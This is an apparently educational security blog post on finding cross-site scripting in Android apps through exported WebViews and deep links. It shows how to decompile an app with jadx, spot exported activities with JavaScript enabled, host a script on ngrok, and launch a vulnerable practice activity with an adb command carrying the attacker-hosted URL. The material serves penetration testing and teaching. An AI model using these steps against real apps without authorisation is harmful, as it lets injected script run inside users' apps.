In this blog, we will learn about the possible ways to find cross-site scripting by abusing JavaScript in Android applications. Cross-site scripting (XSS) in an Android application occurs when an attacker successfully injects malicious scripts (usually JavaScript) into the application’s user interface, which is then executed within the context of WebView or other components responsible for rendering web content. One such way can be to exploit Javascript vulnerabilities such as XSS vulnerabilities via WebView and Deep Links.
WebView is a component in Android that allows developers to display web content within their applications. It essentially acts as an embedded browser, enabling developers to incorporate web-based functionalities directly into their Android apps without the need to redirect users to an external web browser. The main key feature of webview is
Rendering Web Content: WebView can render HTML pages, CSS styles, and images, and execute JavaScript just like a regular web browser.
As we know, WebView allows developers to display web content within an Android application, and it inherits some of the same security risks as web browsers due to the execution of JavaScript.
1. Identify the vulnerable webview via source code: In this phase, we will use the JDX tool. Jadx is a command line and GUI tool for producing Java source code from Android Dex and APK files. After producing Java source code, first go to the AndroidManifest.xml file, which looks like a regular XML file and contains all the elements and subelements of the Android application. Before going into the vulnerability, we first need to see if a webview is being used or not. To find out, go to the application activity and find out if a component is exported or not. There are two ways we can figure it out.
i) Component explicitly declares the “exported=true” attribute.
ii) When a component has an intent filter it automatically becomes exported unless the developer overwrites it with the “exported=false” attribute.
Here SupportWebView and RegistrationWebView are explicitly exported, while the main activity is exported via an intent filter. After finding the exported webview, we need to find out whether javascript is enabled or not for the webview that we want to exploit. To find out, go to each webview and find the webView.getSettings().setJavaScriptEnabled(true)” configuration inside the webview file. This configuration creates an interface between the web page’s Javascript and client-side Java code in the application. This means a web page’s javascript can access and inject Java code into the application.
In SupportWebView “webView.getSettings().setJavaScriptEnabled(true)” configuration is enabled.
2. Create Custom JavaScript and Host: In this section, we will write a simple Javascript code and host the javascript inside an HTML file via NgRok. NgRok is a tool used to convert LAN into WAN. In simple words it allows us to host a file locally and access it globally.
3. Exploitation via ADB: ADB (Android Debug Bridge) is a tool that allows developers and Android enthusiasts to interact with an Android device or emulator from their computer. It helps with tasks like installing and debugging apps, transferring files, capturing screenshots, and accessing logs. It’s a helpful tool for developers working on Android apps or testing devices. Here we construct an adb command
`“adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url “https://6333-157-48-216-175.ngrok-free.app/xss.html““`
adb.exe shell – Start a Unix shell on our device.
am – Stands for activity manager which is used to manage all the components in the application.
start – Instruct the android to start the activity manager.
-n – Is a flag used for mentioning the name of a component. Here we used the “com.tmh.vulnwebview.SupportWebView” from the AndroidManifest.xml file.
–es – Stands for an extra string which we can get from the SupportWebView (support_url). Followed by the URL where our exploit code is hosted (https://6333-157-48-216-175.ngrok-free.app/xss.html).
After sending the adb command xss will be executed on the application.
Deep links are a special type of link that directs users to a specific location within an app, bypassing the need to visit a website or the app’s main page. They provide a seamless way to access precise in-app locations, saving users time and effort in navigating to a particular page independently. — significantly improving the user experience. All deep links are stored in the AndroidManifest.xml file.
The following XML snippet shows how you might specify an intent filter in your manifest for deep linking. The URIs “example://gizmos” and “http://www.example.com/gizmos” both resolve to this activity.
In the above image, we can see the deep link for an activity.
This shares similar core concepts with exported activity XSS, but in this case, user input is accepted through a deep link parameter. The data associated with the deep link parameter ‘totally_secure’ is loaded using the getQueryParameter() method within the intent.
Thus we have explored some of the common ways of abusing Javascript in Android applications and triggering vulnerabilities with it. In most cases, javascript attacks give birth to cross-site scripting attacks. We will be back with more such interesting attacks on JavaScript over mobile applications. Hope you found this blog insightful.
Understanding CRLF Injection: A Web Application Vulnerability and Mitigation
Protect Your Systems from Malicious Packages: What You Need to Know
Psychological Manipulation in Social Engineering: Unveiling the Tactics
Rahul Mandal
Jr.Security Analyst – WeSecureApp